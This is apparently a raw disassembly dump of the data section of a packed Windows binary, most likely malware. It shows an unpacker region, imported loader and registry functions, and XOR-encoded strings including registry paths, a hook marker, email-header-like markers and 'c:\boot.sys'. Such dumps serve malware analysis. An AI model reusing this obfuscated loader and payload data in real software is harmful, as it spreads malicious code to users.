3FE93FDBh, 1EEFFFFFh, 4CBFF4E8h, 0D9308930h dd 0F630DE30h, 3A30FD30h, 5B314131h, 10316431h, 94FFF42Fh dd 0A8319F31h, 0F231AD31h, 3F31F831h, 1B163235h, 9E1ADFFEh dd 0BA34AAC3h, 0D734CB34h, 20350834h, 80356E8Dh, 86FE0037h dd 0A535A035h, 48277835h, 0F0007637h, 0E0F0DEDh, 38A72C38h dd 0FF683850h, 51BFFFB7h, 391438CBh, 39203919h, 392C3926h dd 61003934h, 85397639h, 9F398D39h, 0B001B39h, 0AC39A7EEh dd 17D099CBh, 5BFE00EDh, 39F539FDh, 4BFF39FAh, 183A103Ah dd 743A1E3Ah, 37FFFFFFh, 423AB319h, 813B733Bh, 0AE3BA83Bh dd 0BA3BB43Bh, 0C63BC03Bh, 0D23BCC3Bh, 0FF3BD83Bh, 0DEFFFD2Fh dd 0EA3BE43Bh, 0A23BF03Bh, 0F33DEE3Dh, 3E0FA03Dh, 3E213E14h dd 3E353E30h, 0FFC00642h, 3E513EFFh, 3E603E56h, 3E813E72h dd 3E903E89h, 2B473F3Dh, 0F001BFC0h, 29913F83h, 3FBC3FA6h dd 0FFD53FC4h, 2D06DB19h, 0DF30F3F3h, 301A3015h, 2424301Fh dd 30EDB7F8h, 35003029h, 303F30F5h, 306A3065h, 9EC7E61Fh dd 31424E00h, 60199749h, 0A2FA0640h, 73458D01h, 0FE73F844h dd 6802EC49h, 20FB6B70h, 5C302E32h, 9E268B4Bh, 775C1780h dd 20F4F05Ch, 70550501h, 0C4B16264h, 4EA70495h, 3BFE77AAh dd 95A6AD4h, 74536B42h, 30747261h, 476F9C05h, 70756F72h dd 41780AD6h, 0C11FAC0Ah, 34740582h, 167618D7h, 5C764350h dd 5B6E73D5h, 0D0120h, 0ED709FD7h, 977EDE01h, 0BA1D6Fh dd 3E08F61Dh, 5D155C90h, 40323C57h, 59066046h, 1F4523FBh dd 3380082Ah, 7EFF85F6h, 197F1817h, 285C6615h, 0F73B461Eh dd 0AA4237Ch, 2480E9F3h, 62FEE03Bh, 101CF243h, 13180040h dd 7654680Ch, 0C6C9BE61h, 6A111473h, 3E48100Eh, 28E05481h dd 0A9004010h, 48EE74C2h, 0E04C1B14h, 60A306E7h, 0F54C656h dd 0F736A309h, 549105Ah, 4F400420h, 0FB64059Ch, 34593167h dd 9C64BD20h, 57F6C94Ch, 0A49C9CBEh, 81CF25C6h, 0D068C0A4h dd 0D8799FF7h, 3A681600h, 0A6ABB68h, 482394BEh, 597FDDF3h dd 0F3AC7D8Dh, 84BEA4A5h, 0D87D8D0Bh, 9E7CA5A5h, 0F0C11BB1h dd 0A74BEF5h, 0EBB76CE8h, 0A5F84776h, 0B6468E4h, 0BEACE6A4h dd 3E205D99h, 69248055h, 16A7BC1h, 0EC7457B0h, 196A0F14h dd 0E2350F35h, 1FF89B09h, 0C94CC483h, 9CCD9261h, 0F8DF08E1h dd 0D437F56Ah, 544A66Ch, 80D4A940h, 6173850Fh, 0BCBE9DF7h dd 0F26604EFh, 0BAFF0096h, 64420EF7h, 0EC358B0Ch, 67F4FE14h dd 0D6463067h, 8319031Ah, 0EEBF7847h, 305204C2h, 5842A3Ch dd 59010E11h, 67D98B61h, 0EC68591Eh, 342A2039h, 0F3C86801h dd 7210FF00h, 0DE1A7CADh, 60385A13h, 0C3640AEAh, 0E0349F74h dd 0AFD40476h, 0EF112E30h, 47B2CEFh, 68D68D8Dh, 2898D0FFh dd 0EFBF0A56h, 51204D1Dh, 0B55FBB6Ch, 968B5900h, 2A3635C0h dd 4876A796h, 950DD14h, 1E04B657h, 7D8DEA2Dh, 0EFF3302h dd 5420F908h, 5DB023B4h, 0B01D2457h, 5735957h, 0CC5102h dd 28601600h, 101B70A0h, 61019C41h, 618013Ch, 15C21C4h dd 0C0310044h, 0ABA4280h, 3E9384BAh, 400F977h, 92203031h dd 908824A6h, 4015557h, 0B203188h, 90E29201h, 0D4010E20h dd 0C4065601h, 904C04B2h, 3EE60620h, 12F1256Dh, 16884412h dd 5CD83041h, 7B7DE3D2h, 56460AB2h, 80B66744h, 36851055h dd 0C443EC8Ah, 1315C69h, 5F200673h, 10C5416h, 2F20F200h dd 10F79E1h, 78D5656Eh, 0C122A0B0h, 810CE280h, 1F8DF505h dd 54840C02h, 7A744EE0h, 1957AC83h, 4681704h, 5F505996h dd 0EB906CB0h, 6C510C02h, 2CFD4820h, 7Bh, 71BFBCh, 120000h dd 6000FF00h, 406000BEh, 0BE8D00h, 57FFFFB0h, 0EBFFCD83h dd 90909010h, 8A909090h, 7884606h, 75DB0147h, 831E8B07h dd 0DB11FCEEh, 1B8ED72h, 1000000h, 8B0775DBh, 0FCEE831Eh dd 0C011DB11h, 0EF73DB01h, 1E8B0975h, 11FCEE83h, 31E473DBh dd 3E883C9h, 0E0C10D72h, 46068A08h, 74FFF083h, 1C58974h dd 8B0775DBh, 0FCEE831Eh, 0C911DB11h, 775DB01h, 0EE831E8Bh dd 11DB11FCh, 412075C9h, 775DB01h, 0EE831E8Bh, 11DB11FCh dd 73DB01C9h dd 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 8102C183h, 0FFF300FDh dd 1D183FFh, 832F148Dh, 0F76FCFDh, 8842028Ah, 75494707h dd 0FF63E9F7h, 8B90FFFFh, 4C28302h, 0C7830789h, 4E98304h dd 0CF01F177h, 0FFFF4CE9h, 0F7895EFFh, 11AB9h, 47078A00h dd 13CE82Ch, 3F80F777h, 8BF27504h, 45F8A07h, 8E8C166h dd 8610C0C1h, 80F829C4h, 0F001E8EBh, 0C7830789h, 0E2D88905h dd 0BE8DD9h, 8B000070h, 74C00907h, 45F8B3Ch, 30848Dh, 1000090h dd 0C78350F3h, 5096FF08h, 95000090h, 847078Ah, 89DC74C0h dd 0F24857F9h, 96FF55AEh, 9054h, 774C009h, 0C3830389h dd 0FFE1EB04h, 905896h, 61E96100h, 0FFFFDFh, 25h dup(0) dd 70000000h, 500000A0h, 0A0h, 2 dup(0) dd 7D000000h, 600000A0h, 0A0h, 2 dup(0) dd 8A000000h, 680000A0h, 0A0h, 4 dup(0) dd 94000000h, 0A20000A0h, 0B20000A0h, 0A0h, 0C0000000h dd 0A0h, 0CE000000h, 0A0h, 4B000000h, 454E5245h, 2E32334Ch dd 4C4C44h, 41564441h, 32334950h, 6C6C642Eh, 56534D00h dd 2E545243h, 6C6C64h, 616F4C00h, 62694C64h, 79726172h dd 47000041h, 72507465h, 6441636Fh, 73657264h, 45000073h dd 50746978h, 65636F72h, 7373h, 67655200h, 736F6C43h, 79654B65h dd 72000000h, 646E61h, 4Bh dup(0) dd 5, 0Eh dword_446478 dd 4Fh ; sub_4083D0:loc_4083FFr ... byte_44647C db 6Bh, 48h, 0 ; DATA XREF: sub_408472+17o word_44647F dw 42h ; DATA XREF: sub_408472+24r aAluvia_0 db 'LUVIa',0 ; DATA XREF: sub_408472+B1o byte_446488 db 0 ; DATA XREF: sub_408581+12o aCBoot_sys db 'c:\boot.sys',0 ; DATA XREF: sub_408581+38o aZh db ':zH=',0 ; DATA XREF: sub_408581+4Bo a0vmI db '0Vm |I',0 ; DATA XREF: sub_408581+7Bo byte_4464A1 db 3 dup(0) ; DATA XREF: sub_408581+B8o dword_4464A4 dd 11h, 0Fh dup(0)dword_4464E4 dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h ; DATA XREF: sub_408860+8o dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h dd 6E0637BFh, 2, 0Fh dword_44652C dd 0 ; .text:loc_4086F0r ... dd 6 dword_446534 dd 0Bh dword_446538 dd 0 ; .text:loc_4087F0r ... aFf3?B db 'Ff3? b',0 ; DATA XREF: sub_408884+14o a_lpbl db '.LpBL',0 ; DATA XREF: sub_408884+24o aHCwul db 'H,CwUL',0 ; DATA XREF: sub_408884+A3o dword_446550 dd 0 dd 8, 0Eh dword_44655C dd 0 ; .text:loc_4089F9r ... dword_446560 dd 0FFFFFFFFh dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh) dd 0 dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh) a4Zqk? db '4<Zqk?',0 ; DATA XREF: sub_408A4F+42o word_446967 dw 35h ; DATA XREF: sub_408A4F+14Dr align 4 off_44696C dd offset loc_408AE1 ; DATA XREF: sub_408A4F+86r dd offset loc_408AEB dd offset loc_408B16 dd offset loc_408B44 dd 2, 0Bh dword_446984 dd 0 ; sub_408BAE:loc_408BE4r ... byte_446988 db 0 ; DATA XREF: sub_408C55+26o byte_446989 db 0 ; DATA XREF: sub_408C55+A2o aHt@zso db 'Ht@zSo',0 ; DATA XREF: sub_408C55+F0o a7r db '7R ',0 ; DATA XREF: sub_408C55+13Co aG db ' ',0 ; DATA XREF: sub_408C55+19Bo aQy3 db 'qY3 `',0 ; DATA XREF: sub_408E57+3Eo dword_44699F dd 482633h word_4469A3 dw 27h ; DATA XREF: sub_408EFF+12Fr word_4469A5 dw 27h ; DATA XREF: sub_408EFF+254r word_4469A7 dw 49h ; DATA XREF: sub_408EFF+2DBr aKgH db 'KG H^',0 ; DATA XREF: sub_408EFF+3F1o byte_4469AF db 0 ; DATA XREF: sub_408EFF+478o aZ_0 db 'z ',0 ; DATA XREF: sub_408EFF+5EEo byte_4469B3 db 0 ; DATA XREF: sub_408EFF+79Co word_4469B4 dw 3Dh ; DATA XREF: sub_408EFF+7DDr aWvqrQ db 'WVqr^:Q',0 ; DATA XREF: sub_408EFF+93Co aO8_ db 'O 8.',0 ; DATA XREF: sub_409883+1Bo byte_4469C3 db 0 ; DATA XREF: sub_409883+2Eo aOacPl db 'oac-Pl',0 ; DATA XREF: sub_409883+3Fo word_4469CB dw 4Fh ; DATA XREF: sub_409883+4Cr aW9 db ' +W9',0 ; DATA XREF: sub_409883+5Fo byte_4469D2 db 0 ; DATA XREF: sub_409883+1B8o aZis8 db ' ZIs8',0 ; DATA XREF: sub_409883+1FBo aKa db 'KA',0 ; DATA XREF: sub_409883+269o aVHE db '~H:!e',0 ; DATA XREF: sub_409883+357o word_4469E3 dw 36h ; DATA XREF: sub_409883+46Br aQ1Q5k db 'Q1^Q!5k',0 ; DATA XREF: sub_409883+496o a1g db '1G',0 ; DATA XREF: sub_409883+59Eo aKdb db ',kd',0 ; DATA XREF: sub_409883+5FBo aZn7? db 'zN7?>',0 ; DATA XREF: sub_409883+6E1o byte_4469FB db 0 ; DATA XREF: sub_409883+73Eo a8a5 db '`<$8a5!',0 ; DATA XREF: sub_409883+995o aXern db '<xerN ',0 ; DATA XREF: sub_409883+9D1o a9aZ59 db '9A |Z59',0 ; DATA XREF: sub_409883+A45o a?0n db '?>%0N',0 ; DATA XREF: sub_409883+B3Fo word_446A19 dw 3Ah ; DATA XREF: sub_409883+BC9r byte_446A1B db 4Dh ; DATA XREF: sub_409883+BDCo dd 80575043h db 7Fh, 72h, 0 aVchcV db '|Vchc$V',0 ; DATA XREF: sub_409883+C31o aWc db ' Wc',0 ; DATA XREF: sub_409883+D3Eo aJ_0 db 'J-',0 ; DATA XREF: sub_40A6EA+Bo aXu1gH db 'XU&1G',27h,'H',0 ; DATA XREF: sub_40A74E+1Co word_446A3B dw 20h ; DATA XREF: sub_40A74E+109r aYHny db 'y~^HNY',0 ; DATA XREF: sub_40A74E+1B4o aV6ta db 'V6ta',0 ; DATA XREF: sub_40A74E+1C7o byte_446A49 db 0 ; DATA XREF: sub_40A74E+1DAo byte_446A4A db 0 ; DATA XREF: sub_40A74E+26Fo word_446A4B dw 34h ; DATA XREF: sub_40A74E+2A4r dword_446A4D dd 806E55h aMZ db 'M/#Z',0 ; DATA XREF: sub_40A74E+43Co a4nvc db '4NC',0 ; DATA XREF: sub_40A74E+594o word_446A5B dw 30h ; DATA XREF: sub_40A74E:loc_40ACEFr aWwwl4u db 'Wwwl4u',0 ; DATA XREF: sub_40A74E+615o dword_446A64 dd 4D556Ch aYiso db '`YIsO',0 ; DATA XREF: sub_40A74E+6D5o aN@bln5p db 'N@bLn5P',0 ; DATA XREF: sub_40A74E+747o word_446A76 dw 6634h ; DATA XREF: sub_40A74E+75Fo dd 20817Fh aO3@ db ' $o~3@',0 ; DATA XREF: sub_40A74E+7F4o byte_446A83 db 0 ; DATA XREF: sub_40AF80+Fo aR3lf9 db '$R3LF9-',0 ; DATA XREF: sub_40AF80+ACo aGra db '#GRA',0 ; DATA XREF: sub_40B090+Fo dword_446A91 dd 50684Bh word_446A95 dw 7Eh ; DATA XREF: sub_40B090+22Dr byte_446A97 db 0 ; DATA XREF: sub_40B090+256o dword_446A98 dd 207583h dword_446A9C dd 623551h byte_446AA0 db 0 ; DATA XREF: sub_40B090+495o word_446AA1 dw 5Fh ; DATA XREF: sub_40B090+4E3r dword_446AA3 dd 376C3Eh byte_446AA7 db 0 ; DATA XREF: sub_40B090+741o byte_446AA8 db 48h, 57h, 0 ; DATA XREF: sub_40B090+810o dword_446AAB dd 685980h align 10h byte_446AB0 db 5, 0 ; DATA XREF: sub_40B090+8A3o word_446AB2 dw 0F08h ; DATA XREF: sub_40B090+7CEo db 0 byte_446AB5 db 50h, 6Bh, 64h ; DATA XREF: sub_40B090+6DEo dd 25606967h, 64256A71h, 6A6D7170h, 607F6C77h db 0 byte_446AC9 db 50h, 6Bh, 64h ; DATA XREF: sub_40B090+6CCo dd 25606967h, 64256A71h, 6A6D7170h, 607F6C77h, 4C252825h dd 574A464Bh, 51464057h, 4B4C5525h, 6955252Bh, 60766460h dd 6A662529h, 66607777h db 71h, 2Bh, 0 aVV_0 db ' v( v',0 ; DATA XREF: sub_40B090+4F7o aUiDvVIFq@Ulw_0 db 'Ui`dv`)%v`i`fq%@}ulwdqljk%\`dw',0 ; DATA XREF: sub_40B090+4A2o aVV db ' v% v',0 ; DATA XREF: sub_40B090+425o ; sub_40B090+713o aUiDvVIFq@Ulwdq db 'Ui`dv`)%v`i`fq%@}ulwdqljk%Hjkqm',0 ; DATA XREF: sub_40B090+3F5o aV db ' v',0 ; DATA XREF: sub_40B090+383o aFivlayVylkuwjf db 'FIVLAY vYLkUwjfV`ws`w67',0 ; DATA XREF: sub_40A74E+6E5o aS_0 db 'S',0 ; DATA XREF: sub_40A74E+6ADo aN_1 db 'N',0 ; DATA XREF: sub_40A74E+68Fo aVjcqrdwYhlfw_0 db 'Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYVm`iiV`wslf`Jgo`fqA`id|' ; DATA XREF: sub_40A74E+65Co db 'Ijda',0 aWBlvqWvWslfUwj db 'W`blvq`wV`wslf`Uwjf`vv',0 ; DATA XREF: sub_40A74E+542o aNWkI67Aii db 'n`wk`i67+aii',0 ; DATA XREF: sub_40A74E+52Eo aYgjjqVV db 'Ygjjq+v|v',0 ; DATA XREF: sub_40A74E+3EEo aDatkkq32_dll db 'datkkq32.dll',0 ; DATA XREF: sub_40A74E+3B6o aDnkkq_dll db 'dnkkq.dll',0 ; DATA XREF: sub_40A74E+378o aKkq32_dll db 'kkq32.dll',0 ; DATA XREF: sub_40A74E+33Ao aVyV_0 db ' vY v',0 ; DATA XREF: sub_40A74E+330o ; sub_40A74E+36Eo ... aVyV db ' vY v+`}`',0 ; DATA XREF: sub_40A74E+284o aKdgiAvc db '`kdgi`avc',0 ; DATA XREF: sub_40A74E+AAo aYawlsWvykalvwa db 'Yawls`wvYkalvwa+v|v',0 ; DATA XREF: sub_40A74E+37o dd 2 dup(0) dbl_446C34 dq 1.2 ; DATA XREF: sub_409883+D6Ar aKRsW db 'k`rs`w',0 ; DATA XREF: sub_409883+CC5o aA7 db '}a7',0 ; DATA XREF: sub_409883+C53o aRpua db 'rpua%',0 ; DATA XREF: sub_409883+B9Bo aVFV db ' v%*F% v',0 ; DATA XREF: sub_409883+B5Bo aYfjhhdkaFjh db 'Yfjhhdka+fjh',0 ; DATA XREF: sub_409883+B1Fo aVyfjhhdkaUlc db ' vYfjhhdka+ulc',0 ; DATA XREF: sub_409883+AE2o aYfha db 'Yfha+`}`',0 ; DATA XREF: sub_409883+A8Eo aVyfhaUlc db ' vYfha+ulc',0 ; DATA XREF: sub_409883+A6Eo a?57p db '? 57p',0 ; DATA XREF: sub_409883+9E7o aAhu87 db ':ahu87',0 ; DATA XREF: sub_409883+866o aVyVQhu db ' vY v+qhu',0 ; DATA XREF: sub_409883+709o aRuvq db 'ruvq%',0 ; DATA XREF: sub_409883+434o aT db 't',0 ; DATA XREF: sub_409883+20Bo ; sub_409883+53Fo ... aLcf8P db ':lcf8 p',0 ; DATA XREF: sub_409883+1C5o aLcf db 'lcf',0 ; DATA XREF: sub_409883+181o ; sub_409883+296o aVjcqrdwYhlfwjv db 'Vjcqrdw`YHlfwjvjcqYRlkajrv',0 ; DATA XREF: sub_409883+16Fo ; sub_409883+284o aRdfhUmu db '*rdfh+umu',0 ; DATA XREF: sub_409883+138o asc_446CD6 db '*',0 ; DATA XREF: sub_409883+103o aMqqu?V db 'mqqu?** v',0 ; DATA XREF: sub_409883+CFo aVyVAdq db ' vY v+adq',0 ; DATA XREF: sub_409883+99o ; sub_409883+50Fo ... aFilfnJkfQjFjkq db 'Filfn%Jkf`%Qj%Fjkqlkp`',0 ; DATA XREF: sub_408EFF+732o aGpqqjk db 'GPQQJK',0 ; DATA XREF: sub_408EFF+720o a@alq db '@ALQ',0 ; DATA XREF: sub_408EFF+645o ; sub_408EFF+6A4o aUiDvHdnFjwwFql db 'Ui`dv`%hdn`%fjww`fqljkv%dka%qw|%dbdlk+',0 ; DATA XREF: sub_408EFF+582o word_446D36 dw 6B50h ; DATA XREF: sub_408EFF+50Fo dd 60696764h, 256A7125h, 6D717064h, 7F6C776Ah, 44252B60h dd 55254851h, 46284B4Ch, 2560616Ah, 7725766Ch, 6C707460h dd 25616077h, 66256A71h, 6975686Ah, 25607160h, 25606D71h dd 6B647771h, 71666476h, 2B6B6A6Ch db 0 aDqhUlkFja db 'DQH%ULK(Fja`',0 ; DATA XREF: sub_408EFF+497o a@UlwdqljkAdq db '@}ulwdqljk%adq`',0 ; DATA XREF: sub_408EFF+413o aJpwFdwaKphgW db '\jpw%fdwa%kphg`w',0 ; DATA XREF: sub_408EFF+38Fo a757p db '75 +7p',0 ; DATA XREF: sub_408EFF+321o a7p db ' +7p',0 ; DATA XREF: sub_408EFF+2EAo aFjhgjgj db 'FJHGJGJ]',0 ; DATA XREF: sub_408EFF+1F8o ; sub_408EFF+263o dword_446DC4 dd 2525250Fh, 6D717044h, 7F6C776Ah, 6A6C7164h, 6443256Bh ; DATA XREF: sub_408EFF+CEo dd 6160696Ch db 2Bh, 0 aVqdqlf db 'VQDQLF',0 ; DATA XREF: sub_408EFF+BCo ; sub_408EFF+13Eo ... aKkqhook db 'KKQHOOK',0 ; DATA XREF: sub_408EFF+A1o ; sub_409883+221o ... align 2 a@UijwW db '@}uijw`w',0 ; DATA XREF: sub_408EFF+2Fo ; sub_40B090+CCo aAjfjgoFq db 'AjfJgo`fq',0 ; DATA XREF: sub_408EFF+13o ; sub_40B090+9Ao byte_446E01 db 78h, 6Dh, 41h ; DATA XREF: sub_408C55+C7o dd 4B48545Ch, 410A4156h, 4C04415Ch, 1E545050h, 4D520B0Bh dd 4A480A50h, 45510Ah aTepl db 'tEPL',0 ; DATA XREF: sub_408C55+54o byte_446E25 db 77h, 4Bh, 42h ; DATA XREF: sub_408C55+42o dd 56455350h, 4D697841h, 574B5647h, 7850424Bh, 7704616Dh dd 54515041h, 50417778h db 51h, 54h, 0 byte_446E47 db 0FEh ; DATA XREF: sub_408581+F6o dd 8CC6CFC1h, 82C7DAC7h, 0D182E18Dh, 0D6D0C3D6h, 0FE98C182h dd 0D6CDCDC0h, 0D1DBD18Ch db 0 byte_446E65 db 87h, 0D1h, 0FEh ; DATA XREF: sub_408581+D6o aM_2 db 'ƌ',0 dword_446E70 dd 0D0C7C9FEh, 91CEC7CCh, 0CEC68C90h db 0CEh, 0 word_446E7E dw 4F48h ; DATA XREF: sub_40815F+227o db 0 byte_446E81 db 0AEh, 0E7h, 0EFh ; DATA XREF: sub_406D91+F85o dd 0E5ECE7EFh, 0F7E4E1AEh, 0E5F2E1h aOcqqcXo db '',0 ; DATA XREF: sub_406D91+F58o aA db '',0 ; DATA XREF: sub_406D91+EDBo asc_446E9B db '',0 ; DATA XREF: sub_406D91+E65o aAe db 'غ',0 ; DATA XREF: sub_406D91+E09o aENEA db 'ߥحߥؾ',0 ; DATA XREF: sub_406D91+674o aNEA db 'ǭߥؾ',0 ; DATA XREF: sub_406D91+62Ao aName: ; DATA XREF: sub_406D91+36o unicode 0, <name>,0 align 4 aValue: ; DATA XREF: sub_406D91+15o unicode 0, <value>,0 dword_446EE0 dd 37262C08h, 232A362Ah, 2B0C6531h, 2B372031h, 653120h ; DATA XREF: sub_406A35+ABo dd 2A29353Dh, 372037h a9ba05972F6a811: ; DATA XREF: sub_406980+23o unicode 0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0 aHtml db '<HTML><!--',0 ; DATA XREF: sub_4062A9+478o ; sub_4062A9+483o ... aXOkrecv11 db 'X-okRecv11',0 ; DATA XREF: sub_4062A9+3D1o dword_446F60 dd 1B2F2C20h, 0C0408hdword_446F68 dd 1C4C1A4Ch, 24494449h, 61B0A00h, 1D0F061Ah, 1D072049h ; DATA XREF: sub_4062A9+2E8o dd 0C071B0Ch, 112C491Dh, 1B060519h db 0Ch, 1Bh, 0 byte_446F8B db 35h ; DATA XREF: sub_4062A9+1CDo dd 19110C20h, 0C1B0605h, 0C110C47h db 49h, 0 word_446F9A dw 839h ; DATA XREF: sub_4062A9+A4o db 1Dh, 1, 0 byte_446F9F db 3Ah ; DATA XREF: sub_4062A9+92o dd 1E1D0F06h, 350C1B08h, 1B0A0024h, 0F061A06h, 2C20351Dh dd 1D0C3A49h, 3A35191Ch, 191C1D0Ch db 0 byte_446FC1 db 28h, 2 dup(19h) ; DATA XREF: sub_405F5E+315o dd 70C1F2Ch, 3A351A1Dh, 40C010Ah, 28351A0Ch, 351A1919h dd 519112Ch, 1B0C1B06h, 1D0A2835h, 1D081F00h, 2D0E0700h dd 41C0A06h, 351D070Ch, 1B1C2A47h, 1D070C1Bh db 0 byte_446FFD db 28h, 2 dup(19h) ; DATA XREF: sub_405F5E+2E0o dd 70C1F2Ch, 3A351A1Dh, 40C010Ah, 28351A0Ch, 351A1919h dd 519112Ch, 1B0C1B06h, 1F082735h, 1D080E00h, 350E0700h dd 1B1C2A47h, 1D070C1Bh db 0 byte_447031 db 2Eh, 5, 6 ; DATA XREF: sub_405F5E+2B7o dd 3C05080Bh, 261B0C1Ah, 50F0Fh db 7, 0Ch, 0 byte_447043 db 3Ah ; DATA XREF: sub_405F5E+2A5o dd 1E1D0F06h, 350C1B08h, 1B0A0024h, 0F061A06h, 3E351Dh dd 1E060D07h, 1C2A351Ah, 70C1B1Bh, 1B0C3F1Dh, 706001Ah dd 1D072035h, 0C071B0Ch, 0C3A491Dh, 7001D1Dh db 0Eh, 1Ah, 0 byte_44707F db 0 ; DATA XREF: sub_405F5E+274o dd 519110Ch, 470C1B06h, 0C110Ch dword_44708C dd 3A351A4Ch, 1E1D0F06h, 350C1B08h, 1B0A0024h, 0F061A06h ; DATA XREF: sub_405F5E+23Do dd 720351Dh, 71B0C1Dh, 2C491D0Ch, 6051911h, 351B0C1Bh dd 7000824h, 80C2F35h, 0C1B1C1Dh, 1D07062Ah, 3505061Bh dd 3D282C2Fh, 362C3B3Ch, 282A2625h, 2A282425h, 2C272021h dd 2A262536h, 3E262D22h db 27h, 0 word_4470E6 dw 0C10h ; DATA XREF: sub_405F5E+1DBo db 1Ah, 0 word_4470EA dw 1B2Bh ; DATA XREF: sub_405F5E+1C9o dd 0C1A1E06h, 391E0C27h, 0C0A061Bh db 2 dup(1Ah), 0 aG55 db 'G-,/(<%=5:&/=>(;,5$',0 ; DATA XREF: sub_405F5E+1B7o db 0Ah dd 61A061Bh, 3E351D0Fh, 60D0700h, 2A351A1Eh, 0C1B1B1Ch dd 0C3F1D07h, 6001A1Bh, 112C3507h, 1B060519h, 2B351B0Ch dd 1A1E061Bh, 1E0C270Ch, 0A061B39h, 1A1A0Ch dword_447148 dd 3D2F263Ah, 2C3B283Eh, 5063935h, 0C000A00h, 24351Ah ; DATA XREF: sub_405F5E+D8o dd 1A061B0Ah, 351D0F06h, 0D07003Eh, 351A1E06h, 1B1B1C2Ah dd 3F1D070Ch, 1A1B0Ch, 20350706h, 1B0C1D07h, 491D0C07h dd 1D1D0C3Ah, 1A0E0700h, 7063335h, 4C351A0Ch db 1Ch, 0 aX_yx db 'X_YX',0 ; DATA XREF: sub_405F5E+76o ; sub_405F5E+A4o ... a5 db ':&/=>(;,5$',0 ; DATA XREF: sub_405F5E+50o dw 1B0Ah dd 0F061A06h, 3E351Dh, 1E060D07h, 1C2A351Ah, 70C1B1Bh dd 1B0C3F1Dh, 706001Ah, 1D072035h, 0C071B0Ch, 0C3A491Dh dd 7001D1Dh, 33351A0Eh, 1A0C0706h, 1C4C35h dword_4471E0 dd 1D014655h, 570504hdword_4471E8 dd 60B4655h, 57100Dhdword_4471F0 dd 0A1A4655h, 1D19001Bh db 57h, 0 word_4471FA dw 0C1Ah ; DATA XREF: sub_405636+7DDo dd 4003D1Dh, 1D1C060Ch, 1A4C4B41h, 454B4041h, 52401C4Ch db 0 byte_447211 db 14h, 0 ; DATA XREF: sub_405636+7ABo byte_447213 db 0Dh ; DATA XREF: sub_405636+76Fo dd 41C0A06h, 471D070Ch, 1A471A4Ch, 40B1Ch, 5240411Dh db 0 byte_447229 db 0Fh, 1Ch, 7 ; DATA XREF: sub_405636+738o dd 6001D0Ah, 1A4C4907h, 124041h dword_447238 dd 474C0A4Ch db 5Bh, 1Ch, 0 byte_44723F db 55h ; DATA XREF: sub_405636+6C7o dd 1B0A1Ah, 571D19h dword_447248 dd 60F4655h, 57041Bhdword_447250 dd 19070055h, 1D491D1Ch, 540C1910h, 0B1C1A4Bh, 4B1D0004h ; DATA XREF: sub_405636+68Do dd 5081F49h, 4E540C1Ch db 4Eh, 57h, 0 byte_44726F db 4Ch ; DATA XREF: sub_405636+550o db 1Ah, 15h, 0 byte_447273 db 55h ; DATA XREF: sub_405636+46Ao ; sub_405636+5FDo dd 1C190700h, 101D491Dh, 4B540C19h, 1D000D0Ch, 81F494Bh dd 540C1C05h, 4E1A4C4Eh, 4080749h, 4C4E540Ch, 4E1C4C1Ah dd 1B0B5557h, 636457h dword_4472A4 dd 19070055h, 1D491D1Ch, 540C1910h, 0D0C4Bh, 1F494B1Dh ; DATA XREF: sub_405636+316o dd 0C1C0508h, 1C4C4E54h, 807494Eh, 4E540C04h, 55574E08h dd 64571B0Bh db 63h, 0 word_4472D2 dw 0F55h ; DATA XREF: sub_405636+2C0o dd 49041B06h, 1D0A08h, 4B540706h, 494B1A4Ch, 11D0C04h dd 4B540D06h, 3D3A2639h, 807494Bh, 4B540C04h, 574B1A4Ch db 0 byte_4472FD db 0Fh, 4Ch, 47h ; DATA XREF: sub_405636+282o db 5Ah, 1Ch, 0 byte_447303 db 55h ; DATA XREF: sub_405636+252o dd 100D060Bh db 57h, 0 word_44730A dw 4655h ; DATA XREF: sub_405636+221o dd 0D080C01h db 57h, 0 aMicrosoftCorp db 'MicroSoft-Corp',0 ; DATA XREF: sub_405636+1E2o ; sub_4062A9+2F8o byte_447321 db 55h, 1Dh, 0 ; DATA XREF: sub_405636+1D2o dd 570C051Dh, 1C4C1A4Ch, 1D4655h, 570C051Dh db 0 byte_447335 db 55h, 1, 0Ch ; DATA XREF: sub_405636+1AFo dd 570D08h dword_44733C dd 41D0155h db 5, 57h, 0 byte_447343 db 47h ; DATA XREF: sub_405636+15Do dd 41D01h dword_447348 dd 0A4C1A4Ch ; sub_405636+3E8o db 4Ch, 0Ah, 0 off_44734F dd offset byte_434743 ; DATA XREF: sub_40538B+BAo byte_447353 db 56h ; DATA XREF: sub_40538B+43o db 0 aSi db 'ؑ',0 ; DATA XREF: sub_405004+174o aSi_0 db 'ؑ',0 ; DATA XREF: sub_405004+113o aEXeXeXeXeXeXe db 'ͅϕϕϕϕϕϕ',0 ; DATA XREF: sub_405004+B5o aOSi db 'ؑ',0 ; DATA XREF: sub_405004+60o aJalsac_0 db 'ʆ',0 ; DATA XREF: sub_404DE3+131o aJalsac db 'ن',0 ; DATA XREF: sub_404DE3+104o aGkls db 'ʃ',0 ; DATA XREF: sub_404DE3+C2o aR db 'ʐ',0 ; DATA XREF: sub_404DE3+9Ao aZ db 'ʇ',0 ; DATA XREF: sub_404DE3+6Do aM db 'ʌ',0 ; DATA XREF: sub_404DE3+45o aM_0 db 'ٌ',0 ; DATA XREF: sub_404DE3+Ao aR_0 db 'ِ',0 ; DATA XREF: sub_404D86+25o aZ_1 db 'ه',0 ; DATA XREF: sub_404D70+2o aZc db 'ه',0 ; DATA XREF: sub_404BA0+18Do asc_4473C1 